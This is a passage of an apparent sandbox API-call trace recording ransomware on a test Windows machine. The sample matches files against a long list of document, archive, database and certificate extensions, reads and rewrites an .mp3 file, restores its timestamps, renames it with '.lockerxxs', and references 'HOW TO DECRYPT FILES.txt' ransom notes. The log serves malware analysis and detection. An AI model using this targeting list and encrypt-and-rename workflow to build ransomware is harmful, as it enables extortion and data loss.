pszSpec="*.rar") returned 0 [0090.316] lstrlenA (lpString="*.rar") returned 5 [0090.316] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.zip") returned 0 [0090.316] lstrlenA (lpString="*.zip") returned 5 [0090.316] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.html") returned 0 [0090.316] lstrlenA (lpString="*.html") returned 6 [0090.316] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.htm") returned 0 [0090.316] lstrlenA (lpString="*.htm") returned 5 [0090.316] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.xlsx") returned 0 [0090.316] lstrlenA (lpString="*.xlsx") returned 6 [0090.316] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.xls") returned 0 [0090.316] lstrlenA (lpString="*.xls") returned 5 [0090.316] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.mp4") returned 0 [0090.316] lstrlenA (lpString="*.mp4") returned 5 [0090.316] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.ppt") returned 0 [0090.316] lstrlenA (lpString="*.ppt") returned 5 [0090.316] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.pptx") returned 0 [0090.316] lstrlenA (lpString="*.pptx") returned 6 [0090.316] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.doc") returned 0 [0090.316] lstrlenA (lpString="*.doc") returned 5 [0090.317] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.dot") returned 0 [0090.317] lstrlenA (lpString="*.dot") returned 5 [0090.317] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.docx") returned 0 [0090.317] lstrlenA (lpString="*.docx") returned 6 [0090.317] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.7z") returned 0 [0090.317] lstrlenA (lpString="*.7z") returned 4 [0090.317] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.tar") returned 0 [0090.317] lstrlenA (lpString="*.tar") returned 5 [0090.317] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.bz2") returned 0 [0090.317] lstrlenA (lpString="*.bz2") returned 5 [0090.317] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.gz") returned 0 [0090.317] lstrlenA (lpString="*.gz") returned 4 [0090.317] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.mkv") returned 0 [0090.317] lstrlenA (lpString="*.mkv") returned 5 [0090.317] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.eml") returned 0 [0090.317] lstrlenA (lpString="*.eml") returned 5 [0090.317] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.msg") returned 0 [0090.317] lstrlenA (lpString="*.msg") returned 5 [0090.317] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.edb") returned 0 [0090.317] lstrlenA (lpString="*.edb") returned 5 [0090.318] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.accdb") returned 0 [0090.318] lstrlenA (lpString="*.accdb") returned 7 [0090.318] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.odb") returned 0 [0090.318] lstrlenA (lpString="*.odb") returned 5 [0090.318] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.java") returned 0 [0090.318] lstrlenA (lpString="*.java") returned 6 [0090.318] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.asm") returned 0 [0090.318] lstrlenA (lpString="*.asm") returned 5 [0090.318] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.pfx") returned 0 [0090.318] lstrlenA (lpString="*.pfx") returned 5 [0090.318] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.pem") returned 0 [0090.318] lstrlenA (lpString="*.pem") returned 5 [0090.318] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.p12") returned 0 [0090.318] lstrlenA (lpString="*.p12") returned 5 [0090.318] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.gpg") returned 0 [0090.318] lstrlenA (lpString="*.gpg") returned 5 [0090.318] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.vsd") returned 0 [0090.318] lstrlenA (lpString="*.vsd") returned 5 [0090.318] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.odg") returned 0 [0090.319] lstrlenA (lpString="*.odg") returned 5 [0090.319] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.raw") returned 0 [0090.319] lstrlenA (lpString="*.raw") returned 5 [0090.319] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.nef") returned 0 [0090.319] lstrlenA (lpString="*.nef") returned 5 [0090.319] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.svg") returned 0 [0090.319] lstrlenA (lpString="*.svg") returned 5 [0090.319] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.psd") returned 0 [0090.319] lstrlenA (lpString="*.psd") returned 5 [0090.319] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.vmx") returned 0 [0090.319] lstrlenA (lpString="*.vmx") returned 5 [0090.319] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.vmdk") returned 0 [0090.319] lstrlenA (lpString="*.vmdk") returned 6 [0090.319] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.vdi") returned 0 [0090.319] lstrlenA (lpString="*.vdi") returned 5 [0090.319] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.lay6") returned 0 [0090.319] lstrlenA (lpString="*.lay6") returned 6 [0090.319] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.mpeg") returned 0 [0090.319] lstrlenA (lpString="*.mpeg") returned 6 [0090.319] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.djvu") returned 0 [0090.320] lstrlenA (lpString="*.djvu") returned 6 [0090.320] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.tiff") returned 0 [0090.320] lstrlenA (lpString="*.tiff") returned 6 [0090.320] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.backup") returned 0 [0090.320] lstrlenA (lpString="*.backup") returned 8 [0090.320] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.pdf") returned 0 [0090.320] lstrlenA (lpString="*.pdf") returned 5 [0090.320] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.cert") returned 0 [0090.320] lstrlenA (lpString="*.cert") returned 6 [0090.320] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.docm") returned 0 [0090.320] lstrlenA (lpString="*.docm") returned 6 [0090.320] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.xlsm") returned 0 [0090.320] lstrlenA (lpString="*.xlsm") returned 6 [0090.320] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.dwg") returned 0 [0090.320] lstrlenA (lpString="*.dwg") returned 5 [0090.320] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.nd") returned 0 [0090.320] lstrlenA (lpString="*.nd") returned 4 [0090.320] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.tlg") returned 0 [0090.320] lstrlenA (lpString="*.tlg") returned 5 [0090.320] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.lgb") returned 0 [0090.321] lstrlenA (lpString="*.lgb") returned 5 [0090.321] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.mov") returned 0 [0090.321] lstrlenA (lpString="*.mov") returned 5 [0090.321] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.xdw") returned 0 [0090.321] lstrlenA (lpString="*.xdw") returned 5 [0090.321] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.ods") returned 0 [0090.322] lstrlenA (lpString="*.ods") returned 5 [0090.322] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.wav") returned 0 [0090.322] lstrlenA (lpString="*.wav") returned 5 [0090.322] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.mp3") returned 1 [0090.322] lstrlenA (lpString="*.mp3") returned 5 [0090.322] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3" [0090.322] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3" [0090.322] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3." [0090.322] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3.lockerxxs" [0090.322] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\7pufetex4 apwfnwbqbk.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0090.323] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x10a54 [0090.323] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x4109d7d0, dwHighDateTime=0x1d5d9c0), lpLastAccessTime=0x407536*(dwLowDateTime=0x5032a60, dwHighDateTime=0x1d5d804), lpLastWriteTime=0x40753e*(dwLowDateTime=0x5032a60, dwHighDateTime=0x1d5d804)) returned 1 [0090.323] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.323] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x10a2e, lpOverlapped=0x0) returned 1 [0090.325] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3") returned="7pUfetEX4 ApwfNwBQBK.mp3" [0090.326] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.326] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x10a2e, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x10a2e, lpOverlapped=0x0) returned 1 [0090.326] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0090.327] CloseHandle (hObject=0x8c) returned 1 [0090.327] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\7pufetex4 apwfnwbqbk.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\7pufetex4 apwfnwbqbk.mp3.lockerxxs")) returned 1 [0090.328] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c6c9e80, ftCreationTime.dwHighDateTime=0x1d5d8d4, ftLastAccessTime.dwLowDateTime=0xc73ab8f0, ftLastAccessTime.dwHighDateTime=0x1d5d9da, ftLastWriteTime.dwLowDateTime=0xc73ab8f0, ftLastWriteTime.dwHighDateTime=0x1d5d9da, nFileSizeHigh=0x0, nFileSizeLow=0xe3fb, dwReserved0=0x2a000329, dwReserved1=0x4e00c4, cFileName="JuKIIW647.mp3", cAlternateFileName="JUKIIW~1.MP3")) returned 1 [0090.328] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0090.328] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="JuKIIW647.mp3") returned -1 [0090.328] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="JuKIIW647.mp3") returned -1 [0090.328] lstrcmpiA (lpString1="", lpString2="JuKIIW647.mp3") returned -1 [0090.328] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3") returned="7pUfetEX4 ApwfNwBQBK.mp3" [0090.328] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\" [0090.328] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\") returned="" [0090.328] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\HOW TO DECRYPT FILES.txt" [0090.328] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\how to decrypt files.txt")) returned 0x20 [0090.329] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\", lpString2="JuKIIW647.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3" [0090.329] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.ems") returned 0 [0090.329] lstrlenA (lpString="*.ems") returned 5 [0090.329] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.db") returned 0 [0090.329] lstrlenA (lpString="*.db") returned 4 [0090.329] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.dbf") returned 0 [0090.329] lstrlenA (lpString="*.dbf") returned 5 [0090.329] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.myox") returned 0 [0090.329] lstrlenA (lpString="*.myox") returned 6 [0090.329] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.myo") returned 0 [0090.329] lstrlenA (lpString="*.myo") returned 5 [0090.329] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.qbw") returned 0 [0090.329] lstrlenA (lpString="*.qbw") returned 5 [0090.329] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.qbb") returned 0 [0090.329] lstrlenA (lpString="*.qbb") returned 5 [0090.329] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.qbm") returned 0 [0090.329] lstrlenA (lpString="*.qbm") returned 5 [0090.329] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.qbo") returned 0 [0090.329] lstrlenA (lpString="*.qbo") returned 5 [0090.329] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.qbx") returned 0 [0090.330] lstrlenA (lpString="*.qbx") returned 5 [0090.330] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.qba") returned 0 [0090.330] lstrlenA (lpString="*.qba") returned 5 [0090.330] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.qby") returned 0 [0090.330] lstrlenA (lpString="*.qby") returned 5 [0090.330] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.qbj") returned 0 [0090.330] lstrlenA (lpString="*.qbj") returned 5 [0090.330] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.ofx") returned 0 [0090.330] lstrlenA (lpString="*.ofx") returned 5 [0090.330] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.qif") returned 0 [0090.330] lstrlenA (lpString="*.qif") returned 5 [0090.330] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.mye") returned 0 [0090.330] lstrlenA (lpString="*.mye") returned 5 [0090.330] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.mbox") returned 0 [0090.330] lstrlenA (lpString="*.mbox") returned 6 [0090.330] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.eml") returned 0 [0090.330] lstrlenA (lpString="*.eml") returned 5 [0090.330] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.pst") returned 0 [0090.330] lstrlenA (lpString="*.pst") returned 5 [0090.331] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.ost") returned 0 [0090.331] lstrlenA (lpString="*.ost") returned 5 [0090.331] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.idx") returned 0 [0090.331] lstrlenA (lpString="*.idx") returned 5 [0090.331] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.dbx") returned 0 [0090.331] lstrlenA (lpString="*.dbx") returned 5 [0090.331] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.sql") returned 0 [0090.331] lstrlenA (lpString="*.sql") returned 5 [0090.331] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.mdb") returned 0 [0090.331] lstrlenA (lpString="*.mdb") returned 5 [0090.331] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.fdb") returned 0 [0090.331] lstrlenA (lpString="*.fdb") returned 5 [0090.331] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.wab") returned 0 [0090.331] lstrlenA (lpString="*.wab") returned 5 [0090.331] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.dat") returned 0 [0090.331] lstrlenA (lpString="*.dat") returned 5 [0090.331] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.txt") returned 0 [0090.331] lstrlenA (lpString="*.txt") returned 5 [0090.332] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 